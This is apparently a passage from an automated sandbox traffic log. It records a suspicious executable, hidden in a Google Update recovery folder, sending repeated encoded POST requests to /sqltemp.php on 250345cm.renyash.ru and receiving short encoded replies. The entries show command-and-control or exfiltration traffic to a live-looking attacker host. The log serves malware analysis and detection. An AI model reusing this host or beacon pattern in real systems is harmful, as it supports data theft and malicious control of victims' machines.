Jan 1, 2025 16:02:46.755052090 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:47.110240936 CET	1124	OUT	Data Raw: 53 55 5a 50 51 5f 54 51 58 56 52 59 56 50 59 56 5b 58 54 5f 55 5d 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SUZPQ_TQXVRYVPYV[XT_U]PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$/6 ?X%-?D,S!.<Y?$. "4(&/;S-&Y.,Y-
Jan 1, 2025 16:02:47.228429079 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:47.493441105 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BW%2BwpNraj17wdUmnh4K6J7uy4W5dMMWAwfP2CrpTzIoIAAph8ptlzoDs2rlKLAWeRecql%2F4sM2SSiUqSepT5X8%2FgLQtuxP7yNKtpUq0hhY512n5%2BOeobGO90vqeMfoyQpbigVxpE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36470defd42fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4299&min_rtt=1686&rtt_var=5859&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=64621&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	62643	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:47.612899065 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:47.969753027 CET	1124	OUT	Data Raw: 56 57 5a 51 51 5f 51 56 58 56 52 59 56 5c 59 56 5b 59 54 5e 55 5a 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VWZQQ_QVXVRYV\YV[YT^UZPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$/]4?*$D,&7>/<0), ",?+C&Y+9:&Y.,Y-5
Jan 1, 2025 16:02:48.053347111 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:48.312625885 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sLsw2RVbya9%2Bd3g1kpGOHjT9lxpYKqHzbGo2mSPY0sr0dU5nTMGWZ619VB4FNARl6xaZQDN3wXeZGOTq14yWYyl0SD4NL59mCQvtBc4iiPQ3Y1f%2Fifm5DFVbbCCB%2B8go1HG%2FiIu9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364760c4342df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2592&min_rtt=1643&rtt_var=2514&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=158059&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	62649	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:48.456559896 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:48.813548088 CET	1124	OUT	Data Raw: 56 54 5f 56 51 5b 54 52 58 56 52 59 56 58 59 5e 5b 5c 54 51 55 5a 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VT_VQ[TRXVRYVXY^[\TQUZPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.&?"<%$X7A/W =(_+_<*,]#"4<;)%/.&Y.,Y-%
Jan 1, 2025 16:02:48.901920080 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:49.160979986 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eQCzcF9p47u4XCcElNtmTHAGqlNsR1nc%2BonP3eC9uRN8z0gQ7fk4Lr5alEoAa4Ei4W0seXuM%2F4%2F4vpThDe2zIqsXJup4%2B746ViCkKyFZVJMeKgbEqvEdsdiJi%2BGwaTgLvzHBumug"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3647b585d0cc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=1711&rtt_var=1489&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=286106&cwnd=179&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	62656	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:49.286887884 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:49.641509056 CET	1124	OUT	Data Raw: 53 57 5a 51 51 58 54 52 58 56 52 59 56 5a 59 57 5b 53 54 5a 55 55 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SWZQQXTRXVRYVZYW[STZUUPTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0>#Y!\%.;8W =;(:'U(.X 7((=%/8-&Y.,Y--
Jan 1, 2025 16:02:49.758861065 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:50.027173996 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BD0xGFzw1zgGUfG9gXqejUK%2BT8p1E%2BZbHvPbG71%2Fi%2F3fQPUsorzkYxFA5DXJRK0bPzL0mqGI8Qm1tC1HAcUXkCWiQ4EhKduSr9XLrVchzCeT4f7NHJJrZonOskbJVGFtPWCaTkoO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36480a8974286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4376&min_rtt=1630&rtt_var=6103&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=61867&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	62662	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:50.163727045 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:50.618284941 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:50.629998922 CET	1124	OUT	Data Raw: 53 53 5f 54 51 58 54 5d 58 56 52 59 56 51 59 53 5b 58 54 58 55 55 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_TQXT]XVRYVQYS[XTXUUP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.[$5X#%37@.& )'R=8]!2'\(9A&,&Y.,Y-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	62666	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:50.710372925 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:51.063600063 CET	1964	OUT	Data Raw: 53 53 5f 53 51 5b 54 5d 58 56 52 59 56 5d 59 5e 5b 5c 54 5a 55 58 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_SQ[T]XVRYV]Y^[\TZUXP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3?=]7/.%-;E;)!R4Z(94>X \72(<;$?,-*&Y.,Y-1
Jan 1, 2025 16:02:51.175319910 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:51.433964968 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=18lIsAgiah6l37zZvyRCWoRcosEHlwO8%2BnIgx%2B8DF8RfCizYrEM6LojQuRCykBuRT2jjksiAj%2BD%2BsKwZ6zbcC9Utv3WMgh4GXFvCsLcSGQ0XwGTknSl1kBiSuTp3Y%2Bm6Z0dzN9qD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364898dc50f4d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2937&min_rtt=1719&rtt_var=3081&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=127321&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 0f 3d 3d 36 55 32 54 24 59 3f 3d 3f 53 27 3d 35 04 2b 01 31 04 30 3e 09 59 29 17 3c 05 21 2f 31 59 32 06 28 58 34 03 05 13 33 34 2b 59 05 1c 20 06 21 11 27 00 29 3d 09 15 31 59 2e 05 27 3d 20 14 28 01 34 1e 22 2b 27 5a 30 03 3f 04 3d 04 28 1f 33 02 33 19 39 11 00 0c 27 2a 2c 54 00 11 26 57 27 08 37 04 37 34 27 05 36 0f 39 12 31 24 32 53 24 2f 24 0c 20 00 39 00 27 21 33 59 21 30 2e 12 27 38 3d 5d 20 03 2c 0b 3d 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&==6U2T$Y?=?S'=5+10>Y)<!/1Y2(X434+Y !')=1Y.'= (4"+'Z0?=(339'*,T&W'774'691$2S$/$ 9'!3Y!0.'8=] ,=.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	62669	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:51.030154943 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:51.377640009 CET	1124	OUT	Data Raw: 56 56 5f 57 51 5c 51 52 58 56 52 59 56 5e 59 5f 5b 59 54 59 55 5b 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_WQ\QRXVRYV^Y_[YTYU[PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.$)"/'>'/9>7$_+#*4\7++!D%Y7R9:&Y.,Y-
Jan 1, 2025 16:02:51.481091022 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:51.648478031 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mv74JsviBj2sCUNl6papZR%2F%2ByYJgUk9NW3LH4OpkzEjO3uarqqbEJ3r7oVu8gxIstpcKOmP6EXEEo0ut%2BVvKbDIM3xxKT57OnFw95B4vIjDnqW5DfNQtCvEmV5SRIVRLrNhKjek8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3648b68494267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8032&min_rtt=1746&rtt_var=13227&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=28056&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	62675	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:51.885951996 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:52.235344887 CET	1124	OUT	Data Raw: 53 50 5a 56 54 50 54 5c 58 56 52 59 56 5a 59 5e 5b 5b 54 5b 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZVTPT\XVRYVZY^[[T[UXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.0>7,:0.E8=7,('>Y72,+@&?.*&Y.,Y--
Jan 1, 2025 16:02:52.348953009 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:52.608517885 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F0J88q5Gt6gGOde1eXrPbND5XFPT0WYHD8oArgv4GJkiYjSXK0Ch%2F%2Fl%2BKpgyfeVK5rBIw%2F3%2BIyExlARs3qorlW6V7ynCo%2BdrHe4S7yM1O1puiLiJJkfSQF0DD2rPGTT3gF95UQC%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36490ddb94219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4698&min_rtt=1745&rtt_var=6560&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=57548&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	62681	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:52.738939047 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:53.187520027 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:53.189836025 CET	1124	OUT	Data Raw: 56 54 5f 56 54 5a 54 52 58 56 52 59 56 51 59 53 5b 5a 54 5d 55 55 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VT_VTZTRXVRYVQYS[ZT]UUPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y'?"/3',=7><Z<9R>?##Y?+.1?R.:&Y.,Y-
Jan 1, 2025 16:02:53.549643993 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QI3zZ5UpylqdNzpp%2Bw7sqWmfQIfJYn6kh6kDHPgwZfDRk7miDNnjTGMZyMTXKGi1TTo0lCaQqWywuwdcr6sQVQxNicHVzir7RlHYvYTEcDMs%2FMXgvSlYm2ixEICxz4emMF2gt%2FQ2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364962fc84321-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3864&min_rtt=2616&rtt_var=3478&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=115827&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	62688	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:53.676897049 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:54.032226086 CET	1124	OUT	Data Raw: 56 57 5f 56 54 59 54 50 58 56 52 59 56 5f 59 53 5b 5e 54 5f 55 5a 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VW_VTYTPXVRYV_YS[^T_UZPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?9Y#)_$87*93V>8 0+&2U::&Y.,Y-9
Jan 1, 2025 16:02:54.121498108 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:54.284826040 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2FhmGaZeiV2JHE7eUxR0w1TlpEbjsRD6oJlAQJb8PU4Bl9jt4UFFKYKPGRwMkLO6Ld4B1ZdGoaabTJvqAKTOyyxwzdl3dK%2B0L3AMiloPnudMm2DyU0lBfQhCih8PMKjgO7xyj9eq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3649bf9ce41d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=1719&rtt_var=1260&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=349115&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	62689	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:54.420037031 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:54.766705036 CET	1124	OUT	Data Raw: 56 5f 5a 50 54 50 54 50 58 56 52 59 56 50 59 55 5b 53 54 5e 55 59 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V_ZPTPTPXVRYVPYU[ST^UYPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&<6#)]3A/1R#.'+#(] ";1,?R-*&Y.,Y-
Jan 1, 2025 16:02:54.867084026 CET	25	IN	HTTP/1.1 100 Continue
